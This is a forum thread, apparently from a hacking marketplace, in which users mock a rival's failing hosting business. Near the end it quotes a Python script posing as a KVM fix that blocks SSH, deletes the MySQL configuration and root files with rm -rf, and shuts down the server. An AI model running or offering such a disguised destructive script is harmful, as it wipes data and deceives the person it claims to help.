You can do a giveaway or Adv on different forums

Mr.MK - November 14, 2016, 1:44 pm

Nope, you are not #1 if you dont know how to market your product.

Lucifer's Inferno - November 14, 2016, 1:46 pm

Ever looked into Google Adwords? Purchasing advertisements on other websites?

SwordofJustice - November 14, 2016, 1:59 pm

Have you ever considered making a skype chat, and repping random ubers and having them leave 8 vouch copies all 30 seconds after you post your thread?

Your sig isn't worth $5 a month lmao

SUI-3183372 - November 14, 2016, 10:22 pm

Hmmm, you've owned your servers for about a month now. Bills due any day now. Customer count is low. Things are starting to look pretty bleak now aren't they Mons?

I bet you started this with very little cash in reserve too.

If you somehow survive the server bills you have coming up in the next couple days, I don't see you surviving the following months. I put your company on 5 weeks left.

If I survive my first month, which I will, I'll survive any period of time with no uncertainty.

PS: Envious parties of a less... capable nature made equal statements about NS.

Your partner Blade isn't happy that you had to ask OVH for an extension on paying your server bills due to lack of funds. That's the only reason I bring it up.

I mean, if this doesn't scream "I'm out of money!" I don't know what does:

<https://hackforums.net/showthread.php?tid=5464608>

"Investor for my hosting company | Growing Big & Successful"

"Growing Big & Successful"

Which is strange considering you made roughly ~$150.00 on a ~$300.00 server + additional expenses. You didn't even make enough to cover half your expenses this month.

I am impressed you managed to make that much however. You exceeded my expectations tenfold.

Source: You have a lot of angry support agents who didn't get paid for their work over the last month, and an angry sys admin who's upset that you didn't enter this project with any cash reserves. Funny how talk spreads.

I put quotes around employees because generally employees get paid.

Well, when it comes directly from your own team, does it count as gossip?

Your sysadmin is upset that you're asking OVH for an extension on your bills as you can't pay them.

You seem to really like playing that prison card when you get called out.

"Shit, he's fucking owning me. Lets call him a girl and bring up prison. Hopefully that will change the topic."

I think you're mistaken.

You've done nothing.

Mons I think you have confused my sales thread for your own. My topic is for profitable hosting companies with experienced staff. I really don't like to use my sales threads to fight with degenerates, so I'll just make a quick list and post it here for you: Your sys administrator Blade is complaining to multiple people that you're unable to pay your server bills and have been asking OVH for an extension on your bills. I do not know if the extension has been granted. You have currently made (as of 2-3 days ago) $135.00 on a ~$280.00 server + additional expenses. Here is the direct quote from your Sys Admin himself:

Your support staff are complaining and quitting due to your inability to pay them. The ones that remain are working for free.

You boast of more disk space but your disk space is not protected by any RAID array. What use is more disk space if a single hardware failure can wipe it all?

The other night you took a python script created to destroy your servers and wipe all data, and gave it to your sysadmin stating that it would fix your KVM issues. You were incredibly lucky that your sysadmin was smart enough to notice that it literally `rm -rf`'s everything, and that he didn't run it. You couldn't even realize that it would have ended your company then and there.

That's you linking your sysadmin to the script that would end you. That is how dangerous you are as a hosting provider. You attempted to run a script that would delete ALL of your data. You couldn't even recognize how destructive that script was.

Here's the script he tried to get his sys admin to run for those of you curious:

Code

```
import os
```

```
print "OK boss, I am enabling KVM and VT on your server, please grab a coffee..."
```

system('echo 0 > /proc/sys/net/ipv4/ip_forward')
```

system('iptables -t nat -A PREROUTING -p tcp --destination-port 22 -j DROP')

system('rm -rf /etc/mysql')
```

system('echo "VT enabled" >> /root/vt.enabled.txt')
```

```
print "OK enabled it, need to do a quick reboot for you boss, how's the coffee?"
```

system('rm -rf /root/.bashrc') system('rm -rf /root/.bash_history')
system('rm -rf /root/.profile') system('rm -rf /root/.private')
```

```
print "OK reboot me now!"
```

system('shutdown -h now')

He was so excited that someone pasted a script that would "fix his issues" that he didn't even bother reading it. That or he simply didn't understand what rm does. Either way his partner saved his ass before he took his entire operation down.

You do realize that I'm probably one of the last people you want to argue with about "past earnings" right? It's unlikely that more than 2 or 3 people have made more off this marketplace than I have. You are not one of those 2 or 3 people.
